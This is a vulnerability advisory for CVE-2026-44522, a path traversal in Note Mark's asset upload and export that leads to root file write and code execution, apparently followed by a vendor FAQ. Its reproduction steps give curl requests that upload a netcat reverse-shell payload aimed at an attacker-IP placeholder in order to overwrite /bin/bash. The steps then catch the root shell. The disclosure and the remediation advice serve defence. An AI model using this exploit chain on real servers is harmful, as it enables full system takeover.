CVE-2026-44522

Description

The Note Mark application allows authenticated users to upload assets to notes via POST /api/notes/{noteID}/assets, where the asset filename is provided through the X-Name HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of filepath.Base() to strip directory components. The unsanitized name is persisted as-is in the note_assets table (Name column, varchar(80)).

When an administrator subsequently runs the data export CLI commands (note-mark migrate export-v1 or note-mark migrate export), the stored asset name is passed directly into filepath.Join() and path.Join() calls as part of the output file path argument to os.Create(). Since Go's filepath.Join() resolves ../ sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory.

The export process typically runs as root (the default in Docker deployments and common in bare-metal setups). This means the arbitrary file write operates with root privileges, allowing an attacker to write to any writable location on the filesystem. This can be escalated to Remote Code Execution by overwriting system binaries such as /bin/bash with a malicious payload. Since the Go binary is statically compiled and does not shell out to external programs during the export, overwriting /bin/bash does not affect the running export process. However, the next time any user or administrator invokes bash on the system, the attacker-controlled binary executes instead, resulting in code execution as root. In environments with cron or systemd, writing to /etc/cron.d/ or systemd unit files provides additional exploitation paths.

The data flow is: X-Name HTTP header > handlers/assets.go (no validation) > services/assets.go (stored to DB as-is) > cli/migrate.go (used in os.Create(filepath.Join(..., asset.Name))) > arbitrary file write.

Source Code Analysis

The asset upload handler at backend/handlers/assets.go:48-51 extracts the filename directly from the X-Name header:

type PostNoteAssetInput struct {
    NoteID  uuid.UUID `path:"noteID" format:"uuid"`
    Name    string    `header:"X-Name" required:"true"`
    RawBody []byte    `required:"true"`
}

The service layer at backend/services/assets.go:39-42 stores this value without validation:

noteAsset := db.NoteAsset{
    NoteID: noteID,
    Name:   name,
}

The V1 export function at backend/cli/migrate.go:328 uses the unsanitized name directly:

f, err := os.Create(filepath.Join(noteDir, asset.Name))

The non-V1 export function at backend/cli/migrate.go:223 similarly uses it:

f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+asset.Name))

In both cases, filepath.Join / path.Join resolves ../ sequences in asset.Name, causing the resulting path to escape the intended directory.

Steps to Reproduce

1. Start a Note Mark instance (version 0.19.2 or earlier) using the official Docker image: docker run -d --name notemark -p 8080:8080 -e JWT_SECRET="$(openssl rand -base64 32)" -e PUBLIC_URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.2

2. Register a user account: curl -s -X POST http://localhost:8080/api/users -H 'Content-Type: application/json' -d '{"username":"attacker","password":"Attack3r!","name":"attacker"}'

3. Authenticate and capture the session cookie: curl -s -D - -X POST http://localhost:8080/api/auth/token -H 'Content-Type: application/json' -d '{"username":"attacker","password":"Attack3r!","grant_type":"password"}'. Save the Auth-Session-Token cookie value from the Set-Cookie response header.

4. Create a notebook: curl -s -X POST http://localhost:8080/api/books -H 'Content-Type: application/json' -b 'Auth-Session-Token=<TOKEN>' -d '{"name":"test","slug":"test"}'. Note the returned id as BOOK_ID.

5. Create a note in the notebook: curl -s -X POST http://localhost:8080/api/books/<BOOK_ID>/notes -H 'Content-Type: application/json' -b 'Auth-Session-Token=<TOKEN>' -d '{"name":"test","slug":"test"}'. Note the returned id as NOTE_ID.

6. Upload an asset with a reverse shell payload in the body and a path traversal filename in the X-Name header targeting /bin/bash: curl -s -X POST http://localhost:8080/api/notes/<NOTE_ID>/assets -b 'Auth-Session-Token=<TOKEN>' -H 'X-Name: ../../../../../../bin/bash' -H 'Content-Type: application/octet-stream' -d '#!/bin/sh\nnc <ATTACKER_IP> <PORT> -e /bin/sh'. Confirm the response contains "name":"../../../../../../bin/bash", showing the traversal payload was stored without sanitization.

7. Trigger the export as an administrator (simulating the admin running a routine data export): docker exec notemark /note-mark migrate export-v1 --export-dir /data/backup

8. Verify /bin/bash was overwritten with the attacker payload: docker exec notemark cat /bin/bash. The file should contain the reverse shell script instead of the original bash binary, confirming arbitrary file write.

9. Start a listener on the attacker machine (nc -lvnp <PORT>), then invoke bash on the target: docker exec notemark bash. A reverse shell connects back to the attacker as root, confirming Remote Code Execution.

Proof of Concept (Video)

note-mark-path-traversal-rce.webm

Recommendations

The root cause is the complete absence of input validation on the X-Name header value used as the asset filename. The fix should be applied at two layers.

At the input layer in the asset upload handler, the application should reject any asset name containing path separators (/, \) or directory traversal sequences (..). The simplest approach is to apply filepath.Base() to the incoming name, which strips all directory components and returns only the final filename element. Names that resolve to empty strings or . after this operation should be rejected. This validation should be applied in the PostNoteAsset handler before the name reaches the service layer.

At the export layer in the CLI migration code, the application should apply filepath.Base() to asset.Name before using it in any file path construction as a defense-in-depth measure. This ensures that even if a malicious name exists in the database (from before the input validation was added), the export process cannot be exploited. Both the V1 export path at migrate.go:328 and the standard export path at migrate.go:223 require this fix.

Reported By: Ravindu Wickramasinghe (rvz) - Zyenra Security - www.zyenra.com

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

Kodem intelligence

1. What is CVE-2026-44522? CVE-2026-44522 is a high-severity improper input validation vulnerability in github.com/enchant97/note-mark/backend (go), affecting versions < 0.0.0-20260501152243-db3f72bff780. It is fixed in 0.0.0-20260501152243-db3f72bff780. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. Which versions of github.com/enchant97/note-mark/backend are affected by CVE-2026-44522? github.com/enchant97/note-mark/backend (go) versions < 0.0.0-20260501152243-db3f72bff780 is affected.
3. Is there a fix for CVE-2026-44522? Yes. CVE-2026-44522 is fixed in 0.0.0-20260501152243-db3f72bff780. Upgrade to this version or later.
4. Is CVE-2026-44522 exploitable, and should I be worried? Whether CVE-2026-44522 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-44522 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-44522? Upgrade github.com/enchant97/note-mark/backend to 0.0.0-20260501152243-db3f72bff780 or later.